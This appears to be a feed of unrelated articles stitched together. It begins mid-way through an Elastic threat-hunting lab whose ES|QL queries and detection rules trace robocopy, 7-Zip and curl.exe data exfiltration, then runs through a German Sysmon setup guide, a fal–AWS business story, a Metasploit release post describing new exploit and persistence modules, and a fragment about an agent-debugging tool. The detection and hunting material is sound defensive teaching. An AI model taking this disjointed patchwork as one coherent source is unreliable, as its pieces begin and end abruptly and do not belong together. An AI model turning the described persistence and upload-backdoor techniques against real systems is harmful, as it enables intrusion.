✅ Exfiltration confirmed. curl.exe on WKSTN-MORGAN sent 8 transfers totalling ~47 MB to 203.0.113.42:443, with an average upload ratio of ~9,000:1 (near-zero response, massive upload). The destination IP matches the known C2 from the organisation's prior incidents.

Hunt 4 — Cleanup and Full Attack Scope

Attackers who clean up after themselves leave a different kind of evidence: file deletion events, directory removal, and a suspicious absence of the staging artefacts you’d expect to find. Correlating the cleanup events with the earlier signals confirms the full attack chain and gives you precise timestamps for your timeline.

FROM exfil-lab-logs
| WHERE host.name == "WKSTN-MORGAN"
  AND (
    (event.category == "file" AND event.action IN ("file-created", "file-deleted", "directory-deleted", "file-renamed"))
    OR (event.category == "process" AND process.name IN ("7z.exe", "robocopy.exe", "curl.exe", "cmd.exe"))
  )
| EVAL event_label = CASE(
    event.action == "file-accessed" AND process.name == "robocopy.exe", "1-COLLECTION",
    process.name == "7z.exe", "2-ARCHIVE",
    event.action == "file-renamed", "2-MASQUERADE",
    process.name == "curl.exe", "3-EXFILTRATION",
    event.action IN ("file-deleted", "directory-deleted"), "4-CLEANUP",
    "OTHER"
  )
| KEEP @timestamp, event_label, event.action, file.name, file.path,
       process.name, process.command_line, user.name
| SORT @timestamp ASC
| LIMIT 50

What each line does:

• WHERE host.name == "WKSTN-MORGAN" — scope entirely to the compromised host identified in Hunts 1–3
• AND (...) — filter to file creation/deletion events and the specific attacker processes we've confirmed
• EVAL event_label = CASE(...) — derive a phase label for each event: assigns "1-COLLECTION", "2-ARCHIVE", "3-EXFILTRATION", or "4-CLEANUP" based on the action and process name, so the results read as a timeline rather than a raw event list
• KEEP ... — surface only the fields needed to reconstruct the timeline
• SORT @timestamp ASC — chronological order, earliest to latest

What to look for in results: You should see a clean four-phase progression: collection events (robocopy file accesses) → archive creation (7z.exe) and rename → exfiltration (curl.exe uploads) → cleanup (file and directory deletions). Any gaps in the sequence are worth noting. The cleanup events confirm the attacker had operational security awareness — they didn’t just leave artefacts behind.

📝 Hunt Notebook checkpoint: Record the timestamp of the first collection event, the archive creation timestamp, the first and last upload timestamps, and the cleanup timestamp. Calculate the total attack window (first collection to last cleanup). Note the archive name used as a masquerade, and record all deleted files and directories as forensic artefacts that are no longer recoverable from the endpoint.

✅ Full attack chain confirmed. Four-phase exfiltration: collection (14:00–14:43) → archive + masquerade (14:45) → chunked HTTPS upload (15:10–15:58) → cleanup (16:05). Total window: ~2 hours. Total data loss: ~47 MB. Evidence of operational security: attacker renamed archive to a Windows patch filename and deleted all staging artefacts on exit.

Part 5 — Building Your Timeline

┌─[WKSTN-MORGAN — Data Exfiltration Timeline]─────────────────────────────────────────┐
│  TIME (UTC)   │  EVENT                                    │  PHASE                   │
│───────────────┼───────────────────────────────────────────┼──────────────────────────│
│  14:00        │  robocopy.exe launched by svc_emr_db      │  Collection begins       │
│  14:00–14:43  │  35 files read from EMR$, Finance$, HR$   │  Bulk staging (~47 MB)   │
│  14:43        │  robocopy.exe exits                       │  Staging complete        │
│  14:45        │  7z.exe (AppData\Temp) creates archive    │  Archive + encryption    │
│  14:45:47     │  update_pkg.zip created (45 MB)           │  Compressed payload      │
│  14:45:55     │  Renamed → WindowsDefender_Update_KB*.zip │  Masquerade applied      │
│  15:08        │  curl.exe dropped to AppData\Temp         │  Transfer tool staged    │
│  15:10        │  Upload chunk 1/8 → 203.0.113.42:443      │  Exfiltration begins     │
│  15:10–15:58  │  8 × ~6 MB HTTPS POST chunks              │  47 MB exfiltrated       │
│  16:05        │  update_pkg.zip deleted                   │  Cleanup begins          │
│  16:05        │  staging\ directory removed               │  Evidence destruction    │
│  16:07        │  curl.exe deleted                         │  Tool removed            │
└─────────────────────────────────────────────────────────────────────────────────────┘

Part 6 — Document Your Hunt (Hunt Notebook → GitHub Portfolio)

Open your Hunt Notebook in the Hunt Forward dashboard. The pre-loaded template has every section ready for your findings.

Option A — Write your own report: Merge your four Hunt Notebook milestone blocks into a single document. Add a cover section:

• Analyst name and date
• Executive summary: what was stolen, from which host, via which account, total data volume
• IOC table: svc_emr_db, WKSTN-MORGAN, 203.0.113.42, C:\Users\morgan\AppData\Local\Temp\7z.exe, C:\Users\morgan\AppData\Local\Temp\curl.exe, archive filename
• Recommended remediation: isolate WKSTN-MORGAN, revoke svc_emr_db credentials, block 203.0.113.42 at perimeter, notify legal/compliance of ~47 MB potential PII exposure

Export as markdown → push to GitHub as hunt-007-data-exfiltration-detection.md

Option B — Download the Hunt Forward reference report: Use it to check your findings before writing your own version.

The recommendation: Write your own. The data loss quantification you produced in Hunt 3 — a specific megabyte figure, a named external IP, a confirmed process — is exactly the kind of evidence a CISO asks for in a breach notification decision. The fact that you can walk an interviewer through how you calculated it, line by line, is what makes this portfolio piece real.

Part 7 — What Alex Did Next

The executive summary took eleven minutes. 47 MB from EMR$, Finance$, HR$, and Legal$ — patient records, payroll data, wire transfer accounts, pending litigation files. The legal team was on the phone before Alex had finished typing the IOC table. Marcus submitted the containment ticket for WKSTN-MORGAN and the credential revocation for svc_emr_db simultaneously.

The DLP alert that started it all had fired forty-seven minutes after the first file was read. Alex added a note to the runbook: next time someone with a service account touches robocopy, don’t wait for DLP to tell you.

Part 8 — Operationalise Your Hunts as Detection Rules

Hunting manually is how you find the first incident. Detection rules are how you make sure the next analyst doesn’t have to start from scratch.

Each ES|QL query you ran in Part 4 can be turned into a standing rule in Elastic Security that fires automatically when the same pattern appears. Import the three rules below and they will run every 5 minutes against your exfil-lab-logs index — or swap the index name for your production data source.

To import: Elastic Security → Detection Rules → Import rules → select the .ndjson file from your Hunt Forward dashboard.

Rule 1 — Bulk File Collection via Network Share (HIGH)

Fires when a single account reads more than 20 files totalling over 10 MB using a bulk-copy process. Legitimate users access individual files on demand; this rate indicates automated staging.

FROM exfil-lab-logs*
| WHERE event.category == "file"
  AND event.action == "file-accessed"
  AND process.name IN ("robocopy.exe", "xcopy.exe", "cmd.exe", "powershell.exe")
| STATS
    file_count   = COUNT(*),
    total_bytes  = SUM(file.size),
    unique_paths = COUNT_DISTINCT(file.path)
    BY host.name, user.name, process.name
| EVAL total_mb = ROUND(total_bytes / 1048576.0, 2)
| WHERE file_count > 20
  AND total_mb > 10
| SORT total_mb DESC

When this fires: Pivot to Hunt 1. Check whether 7z.exe or archive activity follows within 30 minutes — if Rule 2 also fires for the same host, you have a confirmed collection-to-archive sequence. Record total_mb in your Elastic Security Case as the staging volume estimate.

False positives to validate: Scheduled backup agents (BackupExec, Veeam) running under a known service account; IT mass file migrations during change-management windows.

Rule 2 — Archive Creation from Suspicious Path (HIGH)

Fires when 7-Zip or PowerShell Compress-Archive runs from a user-writable directory (AppData, Temp, ProgramData) rather than a managed installation path. Attacker-dropped archive tools live in user-writable directories to avoid software inventory detection. Password flags (-p, -mhe) indicate deliberate encryption to defeat DLP content inspection.

FROM exfil-lab-logs*
| WHERE event.category == "process"
  AND (
    process.name == "7z.exe"
    OR process.name == "7za.exe"
    OR process.command_line LIKE "*Compress-Archive*"
  )
| EVAL suspicious_path = CASE(
    process.executable LIKE "*\\\\AppData\\\\*",    "YES",
    process.executable LIKE "*\\\\Temp\\\\*",       "YES",
    process.executable LIKE "*\\\\ProgramData\\\\*","YES",
    "NO"
  )
| EVAL has_password = CASE(
    process.command_line LIKE "*-p*", "YES",
    "NO"
  )
| WHERE suspicious_path == "YES"
| KEEP @timestamp, host.name, user.name, process.name,
       process.executable, process.command_line,
       process.parent.name, suspicious_path, has_password
| SORT @timestamp ASC

When this fires: Inspect the full process.command_line for the output archive path and filename — attackers frequently rename archives to mimic Windows patch packages (KB*.zip) or system files. Correlate with Rule 1 (bulk collection) and Rule 3 (asymmetric upload) to confirm the full exfiltration chain.

False positives to validate: Developers using portable 7-Zip builds in project directories; IT scripts that compress logs or reports using system PowerShell — review parent process and output path before dismissing.

Rule 3 — Chunked HTTPS Exfiltration — Asymmetric Upload (CRITICAL)

Fires when the same external IP receives 2 or more large HTTPS transfers totalling over 5 MB with an upload ratio above 100:1. Normal browsing sends small requests and receives large responses — exfiltration reverses this. Chunked transfers to a single destination indicate deliberate splitting to stay under DLP byte thresholds.

FROM exfil-lab-logs*
| WHERE event.category == "network"
  AND network.direction == "outbound"
  AND destination.port == 443
  AND network.bytes_out IS NOT NULL
| EVAL mb_out       = ROUND(network.bytes_out / 1048576.0, 2)
| EVAL upload_ratio = ROUND(network.bytes_out / (network.bytes_in + 1), 1)
| WHERE mb_out > 1.0
| STATS
    transfer_count  = COUNT(*),
    total_mb_out    = ROUND(SUM(network.bytes_out) / 1048576.0, 2),
    avg_mb_per_xfer = ROUND(AVG(network.bytes_out) / 1048576.0, 2),
    max_ratio       = MAX(upload_ratio)
    BY host.name, user.name, destination.ip, process.name
| WHERE transfer_count >= 2
  AND total_mb_out > 5
  AND max_ratio > 100
| SORT total_mb_out DESC

When this fires: The total_mb_out value is your data loss estimate for executive reporting — record it in your Elastic Security Case immediately. Add destination.ip as a network IOC. If Rules 1 and 2 also fired for the same host within the preceding 2 hours, treat this as a confirmed exfiltration chain and escalate to critical incident response.

False positives to validate: Cloud backup agents (Acronis, CrashPlan, Backblaze) uploading to known endpoints — add backup destination IPs to an exception list; large file sharing via approved SaaS (SharePoint, Dropbox, Box) — validate destination IP against known SaaS CIDR ranges.

Takeaway Table

Ready for the Next Lab?

• Lab #008 — Insider Threat Detection: Hunting behavioural baselines when the attacker already has legitimate credentials

New labs drop 2–3 times per week on Hunt Forward and Medium.

How to Detect Data Exfiltration with Elastic SIEM: SOC Analyst Hands-On Lab | Hunt Forward Lab #007 was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post Web devs fear AI job displacement in new survey appeared first on IT Security News.

Bei Windows bleibt vieles unter der Oberfläche verborgen. Bereits beim Starten fährt das Betriebssystem mehrere Anwendungen hoch, initialisiert Treiber und sucht nach neuen Software-Updates. Viele Programme, die Windows automatisch lädt, werden anschließend als Prozesse im Arbeitsspeicher ausgeführt und laufen unsichtbar im Hintergrund.

Der Task-Manager, erreichbar über einen Rechtsklick auf die Taskleiste und Auswahl von „Task-Manager“, zeigt unter „Prozesse“ eine lange Liste. Doch die ist beileibe nicht vollständig, so fehlen darin beispielsweise:

• Prozesse im Kernel-Modus. Dazu gehören unter anderem die Kernel-Threads, also die Aufgaben, die der Kern des Betriebssystems ausführt. Der Task-Manager fasst sie unter der Bezeichnung „System“ zusammen.
• Gerätetreiber sowie einige Dienste, die über die Registrierdatenbank gestartet werden.
• Browser-Tabs und ‑Erweiterungen. Es kommt vor, dass der Task-Manager beispielsweise 20 Instanzen von chrome.exe anzeigt, aber nicht verrät, welche Webseiten in den einzelnen Tabs geladen sind. Auch die Bezeichnungen von Powershell-Skripten gibt der Task-Manager nicht preis.
• Im Hintergrund laufende Virenprogramme, die sich mit verschiedenen Techniken getarnt haben.

Für eine vollständige Liste der laufenden Prozesse müssen Sie daher auf andere Tools ausweichen. Im Frühjahr hat Microsoft den System Monitor, kurz Sysmon, über ein Update ins Betriebssystem integriert.

Zuvor war er als eigenständiger Download sowie als Teil der Sysinternals-Suite bei Microsoft erhältlich. Das Programm läuft nach der Installation unsichtbar als Dienst im Hintergrund und platziert seine Meldungen im Ereignisprotokoll von Windows.

Sysmon installieren und starten

Zum Installieren von Sysmon tippen Sie system ins Suchfeld der Taskleiste und klicken auf den Treffer „Systemsteuerung“. Klicken Sie dort in der Symbolansicht auf „Programme und Features“ – oder in der Kategorieansicht auf „Programm deinstallieren“ – und gehen im folgenden Fenster auf der linken Seite auf „Windows-Features aktivieren oder deaktivieren“.

Scrollen Sie nach unten, setzen ein Häkchen vor „Sysmon“ und bestätigen mit „OK“. Windows kopiert nun die Sysmon-Dateien auf Ihren Rechner. Danach klicken Sie auf „Schließen“ und booten den PC neu.

Roland Freist

In einem zweiten Schritt wird Sysmon nun eingerichtet und aktiviert. Dazu starten Sie die Eingabeaufforderung, indem Sie den Befehl cmd ins Suchfeld der Taskleiste tippen. Damit öffnen Sie das Startmenü mit dem Eintrag „Eingabeaufforderung“. Diesen klicken Sie auf der rechten Fensterseite mit „Als Administrator ausführen“ an und bestätigen die Sicherheitsabfrage.

Die Eingabeaufforderung zeigt in der Voreinstellung den Ordner C:\Windows\System32. In diesem Ordner liegt auch die Datei sysmon.exe. Sie können also einfach den Befehl sysmon.exe -i eingeben und die Enter-Taste drücken.

Roland Freist

Daraufhin erscheinen einige Systemmeldungen. Ganz unten steht „Sysmon started“. Damit ist die Installation abgeschlossen, Sysmon läuft indessen als Dienst im Hintergrund. Über den Befehl sysmon.exe -u können Sie das Tool später auch wieder deinstallieren.

Sie können die Installation überprüfen, indem Sie Dienste ins Suchfeld der Taskleiste eingeben, in der Liste nach unten scrollen und doppelt auf den neuen Eintrag „Sysmon“ klicken. Als Starttyp sollte dort „Automatisch“ eingestellt sein, neben Diensttyp sollte „Wird ausgeführt“ stehen.

Roland Freist

Die Sysmon-Meldungen einsehen

Sysmon besitzt keine eigene Bedienoberfläche. Stattdessen schickt der Dienst die protokollierten Ereignisse wie den Start und die Beendigung von Programmen sowie Benachrichtigungen über das Laden von Treibern an die Ereignisanzeige.

Dieses Tool rufen Sie auf, indem Sie event ins Suchfenster der Taskleiste eingeben und auf den Treffer „Ereignisanzeige“ klicken.

Im Fenster der Ereignisanzeige klicken Sie im Fenster ganz links auf den kleinen Pfeil vor „Anwendungs- und Dienstprotokolle“. Bis anschließend die Unterordner angezeigt werden, kann es einen Moment dauern. Folgen Sie dem Pfad „Microsoft > Windows > Sysmon > Operational“. Im Fenster in der Mitte sehen Sie nun die Ereignisse, die Sysmon registriert hat.

Roland Freist

Bitte nicht erschrecken, denn dort kommen schnell einige Tausend Einträge zusammen. Das aber ist normal und kein Grund zur Beunruhigung. Sysmon arbeitet sehr penibel und zeichnet wirklich alle Programm- und Treiberaktivitäten auf Ihrem Rechner auf.

Roland Freist

Klicken Sie einige der Einträge doppelt an, um sie zu öffnen. Sie werden schnell sehen, dass die meisten davon uninteressant sind. Welche Anwendung das Ereignis ausgelöst hat, erkennen Sie jeweils am Pfad neben „Image“.

Sysmon legt die protokollierten Ereignisse in einer eigenen Datei ab. Diese finden Sie im Ordner C:\Windows\System32\winevt\Logs unter der Bezeichnung Microsoft-Windows-Sysmon%4Operational.evtx.

Die Ereignisanzeige erlaubt in der Voreinstellung Protokolle bis zu einer Größe von 65.536 KB, das entspricht 64 MByte. Sobald dieser Wert erreicht ist, überschreibt die Ereignisanzeige jeweils die ältesten Ereignisse. Das kann bereits nach wenigen Tagen der Fall sein.

Roland Freist

Es empfiehlt sich daher, die maximale Protokollgröße heraufzusetzen, beispielsweise auf 256 MByte. Klicken Sie dazu in der Ereignisanzeige mit der rechten Maustaste auf den Ordner „Operational“ und dort auf „Eigenschaften“. Im Abschnitt Protokollierung können Sie die maximale Größe entsprechend ändern.

Die Sysmon-Protokolle auswerten

Wenn Sie in der Ereignisanzeige oben im mittleren Fenster ein Ereignis markieren, erscheinen darunter wichtige Erläuterungen. In der dritten Zeile stehen jeweils Datum und Uhrzeit und wann das Ereignis stattgefunden hat.

In der Zeile „Image“ sehen Sie den vollständigen Pfad inklusive Dateinamen, darunter die jeweilige Dateiversion. Die vier folgenden Einträge enthalten die Beschreibung, den Produktnamen, den Hersteller sowie den ursprünglichen Dateinamen.

Sysmon ist ein leistungsfähiges Werkzeug für die Suche nach Schadsoftware, die sich im System eingenistet hat und dort dauerhaft aktiv ist. Zur Analyse gehen Sie die Ereignisliste mit den Pfeiltasten durch und achten dabei auf alle Ereignisse, die von unbekannten oder verdächtig anmutenden Anwendungen ausgelöst wurden. Sehen Sie sich auch eventuelle Treiberänderungen genau an.

Sysmon-Ereignisse eingrenzen

Sie werden schnell feststellen, dass die Suche nach verdächtigen Ereignissen eine langwierige Angelegenheit ist. Die meisten Ereignismeldungen stammen von unverdächtigen Anwendungen wie Ihrem Browser oder Microsoft Edge Webview2.

Das wird für die Darstellung von Webinhalten in Windows-Programmen wie Teams oder Outlook genutzt. Um solche uninteressanten Ereignisse aus der Liste herauszufiltern, können Sie in Sysmon eine Konfigurationsdatei im XML-Format laden.

Eine solche Datei von Grund auf selbst aufzubauen, ist nicht einfach. Microsoft hat daher auf seiner Website eine einfache Grundversion einer solchen Konfigurationsdatei veröffentlicht. Diese filtert zunächst einmal alle Ereignisse heraus, die sich auf Treiber mit einer anderen Signatur als Microsoft oder Windows beziehen.

Außerdem werden alle Ereignisse zur Beendigung von Prozessen und zu Netzwerkverbindungen über die Ports 80 und 443 herausgefiltert. Über diese Ports laufen die klassischen Webprotokolle HTTP und HTTPS.

Um die Konfigurationsdatei zu laden, öffnen Sie diese Webseite, scrollen dort nach unten zum Abschnitt „Konfigurationsdateien“ und klicken dort rechts auf den Button „Kopieren“.

Fügen Sie den Text in den Editor von Windows ein, gehen auf „Datei > Speichern unter“, stellen bei Dateityp „Alle Dateien (*.*)“ ein, ändern neben Dateiname die Endung von txt in xml und speichern das File unter einem frei wählbaren Namen wie config_sysmon.xml in einem beliebigen Ordner.

Roland Freist

Der Microsoft-Mitarbeiter, der diese Datei angelegt hat, heißt Moti Bani. Er hat darüber hinaus auf Github eine erweiterte Version mit dem Dateinamen config-v17.xml veröffentlicht.

Klicken Sie den Dateinamen auf der Webseite an und gehen Sie im folgenden Fenster in der Symbolleiste auf das Downloadsymbol mit der Quickinfo „Download raw file“. Die Datei landet daraufhin in Ihrem Downloadordner.

Moti Bani versteht beide Dateien als Vorlagen, die von Anwendern nach eigenen Vorstellungen und Bedürfnissen angepasst werden können. Hilfestellung dazu gibt es auf der oben angegebenen Downloadseite von Sysmon oder hier.

Eine Sysmon-Konfiguration laden

Um eine XML-Konfigurationsdatei mit Sysmon zu laden, benötigen Sie wieder die Eingabeaufforderung mit Administratorrechten. Tippen Sie dort den Befehl sysmon.exe -i [Pfad zur XML-Datei] ein. Wenn die Datei beispielsweise config_sysmon.xml heißt und im Ordner C:\Temp liegt, lautet der Befehl sysmon.exe -i C:\Temp\config_sysmon.xml.

Wenn Sie zu einer anderen Konfigurationsdatei wechseln wollen, etwa zu config-v17.xml, dann geben Sie sysmon.exe -i C:\Temp\config-v17.xml ein – vorausgesetzt natürlich, auch diese Datei befindet sich im Ordner C:\Temp. Falls Sie Sysmon wieder in den Ausgangszustand versetzen und alle Konfigurationen löschen möchten, verwenden Sie den Befehl sysmon -c —.

Was tun nach der Auswertung?

Wenn Ihnen ein laufender Prozess oder geladener Treiber seltsam vorkommt, so sollten Sie in einem ersten Schritt den Virenscanner Ihres Antivirentools starten und eine vollständige Überprüfung durchführen lassen.

Auch dann, wenn das mehrere Stunden dauert. Ergänzend können Sie die im Ereignisprotokoll angegebene Datei zu Virustotal hochladen und dort analysieren lassen.

Sie können Sysmon natürlich auch einfach nur einsetzen, um Ihren Rechner etwas zu entlasten. Überlegen Sie sich dann, auf welche der geladenen Prozesse beziehungsweise Programme Sie verzichten können.

Suchen Sie dann den angegebenen Pfad auf und benennen Sie die angegebene Datei vorsichtshalber zunächst nur um. Starten Sie Ihren Computer neu und beobachten Sie, was passiert. Falls es zu keinen Störungen kommt, können Sie das Programm endgültig deinstallieren.

Process Monitor versus System Monitor

Es gibt diverse Tools, um die laufenden Prozesse vollständig aufzulisten. Dazu zählen neben Sysmon auch der Process Monitor, kurz Procmon. Dieser stammt ebenfalls von Mark Russinovich oder seiner Firma Sysinternals.

Microsoft hat Russinovich längst als Chief Technology Officer eingestellt und bietet die Sysinternals-Tools gratis zum Download.

Der Hauptunterschied zwischen Sysmon und Procmon ist, dass Procmon eine Momentaufnahme aller aktuell laufenden Prozesse liefert. Sysmon hingegen läuft dauerhaft im Hintergrund und protokolliert den Start und das Beenden der Windows-Prozesse.

Procmon steht zum Download bereit. Auch Sysmon findet man als Download bei Microsoft – alternativ zur Installation über Windows 11.

Roland Freist

Enter fal, a generative media creation platform that has quietly become the connective tissue for 2.5 million developers across the globe, offering literally hundreds of leading AI image, video, and audio creation and editing models — from proprietary ones like OpenAI's ChatGPT-Images-2.0 and Google's Nano Banana Pro 2 to open source rivals — all through its unified interface and APIs.

Today, the San Francisco-based startup, recently valued at a massive $4.5 billion following a $300 million Series D round led by Sequoia Capital, announced it has selected Amazon Web Services (AWS) as its preferred cloud provider.

While the financial terms of the deal weren't made public, the move signals a maturation in the generative media space, shifting the focus from simply building foundational models to effectively scaling them for mass, commercial consumption.

“AWS has been there for distribution and monetization, and for the use of AI in creative pursuits — helping designers, developers, and the creative community think through how they can use AI responsibly, scalably, and at global scale," said Samira Panah Bakhtiar, General Manager for Media, Entertainment, Games, and Sports at AWS, in an exclusive interview with VentureBeat.

A one-stop-shop for Gen AI media allowing enterprises to plug in and choose the best model for their needs

At its core, fal operates as a unified gateway to the rapidly expanding generative AI ecosystem. Rather than forcing developers to provision their own servers, deal with latency issues, or string together disparate open-source model weights, fal provides a single, unified API. Through this API, users gain instant access to over 1,000 production-ready AI models.

Think of it as the Stripe or Plaid of generative media: abstracting away the devastatingly complex back-end plumbing so developers can focus solely on the user experience.

It is a "plug-and-play" solution that has already attracted independent creators and enterprise giants alike, powering generative workflows for enterprises including Canva, Adobe, and Amazon MGM Studios.

“Generative media workloads demand a fundamentally different infrastructure layer, one that can handle massive parallel inference, rapid model iteration, and production-grade reliability at scale,” said Gorkem Yurtseven, CTO and Co-founder of fal, in a statement provided to VentureBeat.

Neither AWS nor fal specified what other cloud or GPU providers the latter was using prior to their deal together. Asked who fal had been using before AWS, Bakhtiar did not name a prior cloud or GPU provider, saying instead that fal is now using AWS services.

In a blog post, fal's Head of Compute Partnerships Emir Lise described AWS as providing the “global scale and reliability layer” for its existing serverless generative-media infrastructure — framing the partnership around elasticity, reliability and enterprise scale rather than a replacement of a named incumbent.

A public search turned up Tigris as a storage provider for fal — with Tigris saying fal runs a “global fleet of GPUs across many clouds” — and an announcement from fal in Septemeber 2025 that it was available through Google Cloud Marketplace, allowing customers to buy fal through Google Cloud billing and governance, but that listing does not state that Google Cloud powered fal’s GPU infrastructure.

99.99% guaranteed uptime?

By partnering with AWS, fail aims to merge its highly optimized inference engine with Amazon’s global reach to handle millions of daily API calls with 99.99% guaranteed uptime.

In addition, Bakhtiar said fal users can expect to see "faster inference and performance, greater efficiency, more scalability, and more seamless service continuity — all things you would expect as a result of partnering with the world’s largest, broadly adopted cloud."

Therefore, the primary benefit for fal users is better performance and reliability without changing how they work: faster inference, more scalability, smoother continuity, and access to production-ready AI models without managing their own infrastructure.

For fal, the partnership makes its platform stronger for creators, studios, and enterprise customers by backing it with AWS’s security, global scale, and cloud infrastructure.

For AWS, it helps push cloud and AI deeper into creative production, not just distribution or monetization. It positions AWS as a key infrastructure partner for studios, media companies, developers, and individual creators building AI-powered content workflows.

Offloading the GPU burden

The partnership with AWS is designed to address the sheer physics and cost of rendering generative media. By migrating its operations to AWS, fal will be able to leverage Amazon’s broad suite of AI services, including the Bedrock platform, alongside custom-built silicon like Trainium and Graviton processors.

"You don't have to manage like a GPU fleet to use the AI for creative pursuits," Bakhtiar explained.

This is a critical pain point for larger-scale media generation demands in 2026. Securing high-performance GPUs for parallel inference is both expensive and technically demanding.

By shifting that burden to AWS, fal ensures that creatives can focus on their workflows, without needing a dedicated DevOps team.

Bakhtiar also noted the powerful "network effect" of building on AWS. Because major studios and creative platforms (like Adobe and Canva) are already deeply entrenched in the AWS ecosystem, integrating fal's API into their existing pipelines becomes a frictionless endeavor.

Enterprise-grade security and compliance with gen AI creative speed

For IT leaders and developers, fal's architecture offers a distinct advantage regarding licensing, security, and deployment.

Historically, utilizing frontier generative models meant either accepting strict vendor lock-in from a single provider or attempting to host open-source models locally.

The latter requires significant overhead and forces enterprises to navigate a minefield of disparate open-source licenses (such as MIT, Apache 2.0, or restrictive non-commercial licenses).

fal bypasses this friction by offering commercial API access to a curated ecosystem of models. Developers simply pay for the inference they consume.

Furthermore, the platform is SOC 2 compliant and explicitly built for "enterprise scale," meaning it meets the stringent data privacy and security benchmarks required by heavily regulated industries and massive consumer platforms.

For large media conglomerates, this managed service approach allows them to experiment with the latest state-of-the-art tools securely, without the risk of exposing proprietary data or intellectual property.

Empowering devs and vibe coders

The true impact of fal’s platform, however, is best observed at the developer level. By democratizing access to high-end infrastructure, fal is enabling a new class of builders—often referred to as "vibe coders"—to create complex, multimodal applications without traditional computer science backgrounds.

As Bakhtiar pointed out, access to these tools fundamentally "levels the playing field". Whether it is an individual developer or hobbyist vibe coding a side project, or a fully-funded editor or director rendering a blockbuster film, the underlying technology is now identical, infinitely scalable, and ready for production.

“More creatives — whether they’re full-fledged studios, indie brands, or individual content creators — are now going to be able to access these tools, and they’re going to be able to punch way above their weight as a result," Bakhtiar said, casting the partnership as a way to serve even more users through fal thanks to the reliability of AWS's servers and custom Trainium, Graviton and Inferentia chips.

The rollout of enhanced AWS capabilities for fal customers will occur in phases throughout 2026.

Weaponizing a text editor for fun and profit

Gather round, dear readers, because today, we (by we, we mean @h00die) dropped the ultimate persistence mechanism: Vim plugin persistence. And honestly, calling it "persistence" feels redundant — Vim is already the most persistent thing ever. Somewhere, somehow, there will still be a Vim session open since 2011, because no one has figured out how to close it. So we are not so much establishing a foothold here as we are joining an existing hostage situation.

Elsewhere this week, Marvell's QConvergeConsole has been caught handing arbitrary files to unauthenticated visitors, as is tradition (CVE-2025-6793), GestioIP 3.5.7 ships an upload handler, so trusting it will cheerfully let an admin overwrite the handler with a backdoor and then dutifully execute it (CVE-2024-48760). And of course, we can't forget about Dolibarr ERP/CRM, which blocks PHP injections by checking — and we cannot stress this enough — by searching for string <?php. So @M4nu02 brought an elaborate module which changes <?php to <?PHP in the payload to successfully bypass this mitigation (CVE-2023-30253). Truly a wonderful time to be alive.

New module content (4)

Marvell QConvergeConsole Path Traversal (CVE-2025-6793)

Authors: Michael Heinzl and rgod

Type: Auxiliary

Pull request: #21322 contributed by h4x-x0r

Path: gather/qconvergeconsole_traversal

CVE reference: ZDI-25-450

Description: This adds a new auxiliary module that exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole to read arbitrary files from the target host. Marvell QConvergeConsole versions 5.5.0.85 and earlier are vulnerable, and no authentication is required to exploit the issue.

VIM Plugin Persistence

Author: h00die

Type: Exploit

Pull request: #21206 contributed by h00die

Path: linux/persistence/vim_plugin

Description: This adds a new Linux persistence module, which establishes persistence by writing a Vim plugin to the target user's ~/.vim/plugin/ directory. The next time that user launches Vim, the plugin executes the configured payload and opens a new session as that user.

GestioIP 3.5.7 Remote Command Execution

Authors: maxibelino and odeez24

Type: Exploit

Pull request: #21041 contributed by Odeez24

Path: multi/http/gestioip_rce

AttackerKB reference: CVE-2024-48760

Description: This adds an exploit module for an authenticated remote code execution vulnerability in GestioIP 3.5.7 (CVE-2024-48760). An attacker with admin credentials can abuse the unsafe upload handler at /api/upload.cgi to overwrite the script itself with a backdoor, which is then invoked to execute attacker-supplied commands.

Dolibarr ERP/CRM Authenticated Code Injection

Authors: Emanuele Cervelli and Tinexta Cyber Offensive Security Team

Type: Exploit

Pull request: #21362 contributed by M4nu02

Path: unix/http/dolibarr_cms_rce_cve_2023_30253

AttackerKB reference: CVE-2023-30253

Description: This adds a new exploit module for Dolibarr ERP/CRM (CVE-2023-30253), an authenticated PHP code injection vulnerability affecting versions before 17.0.1. The module abuses the Website module to inject a payload that bypasses Dolibarr's PHP tag filter by using uppercase <?PHP tags instead of the filtered lowercase form. Valid credentials with access to the Website module are required.

Enhancements and features (1)

• #20617 from Aaditya1273 - Adds an OptArray datastore option type to the framework. Previously multi valued datastore options were usually input as comma separated strings, now Metasploit devs have the option to use OptArray.

Bugs fixed (0)

None

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.132...6.4.133
• Full diff 6.4.132...6.4.133

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

It functions as a local daemon and UI that streams every token, tool call, and decision to a local dashboard—typically hosted at localhost:5899—the moment it occurs. By visiting their localhost, developers can then see everything their agent was up to — including mistakes or errors — and identify what went wrong, when, and ideally, discern why. It's all stored in a single .db file, which takes up relatively little memory, according to a X direct message VentureBeat received from Ben Hylak, Raindrop's co-founder and CTO (and a former Apple and SpaceX engineer).

This real-time telemetry eliminates the latency of traditional polling and addresses a growing developer concern regarding the privacy of sending local traces to external servers.

The tool is available for macOS, Linux, and Windows. It can be installed through a one-line shell command that automates binary placement and PATH configuration for bash, zsh, and fish shells. For developers who prefer to build from source, the repository is hosted on GitHub and utilizes the Bun runtime.

The product: establishing a self-healing eval loop

The platform’s standout feature is the "self-healing eval loop," which allows coding agents like Claude Code to read traces, write evals against the codebase, and fix broken code autonomously.

In a practical application, if a veterinary assistant agent fails to ask necessary follow-up questions, Workshop captures the full trajectory. Claude Code then reads this trace, writes a specific eval, identifies the logic error in the prompt or code, and re-runs the agent until all assertions pass.

Compatibility and ecosystem integration

Workshop is compatible with a broad range of programming languages, including TypeScript, Python, Rust, and Go.

It integrates with popular SDKs and frameworks such as the Vercel AI SDK, OpenAI, Anthropic, LangChain, LlamaIndex, and CrewAI. It is also designed to work seamlessly with various coding agents, including Claude Code, Cursor, Devin, and OpenCode.

Licensing and community implications

Workshop is released under the MIT License, ensuring it remains free and open-source for all users. This permissive licensing is intended to foster community contribution and allow enterprise users to maintain data sovereignty.

Hylak noted on X that the tool was built to provide a "sane" way to debug agents locally, changing how their team and early customers build autonomous systems.

To celebrate the launch, Raindrop offered limited-edition physical merchandise to users who installed the tool and executed a specific "drip" command.

Read the full article on GamingOnLinux.

Read more →

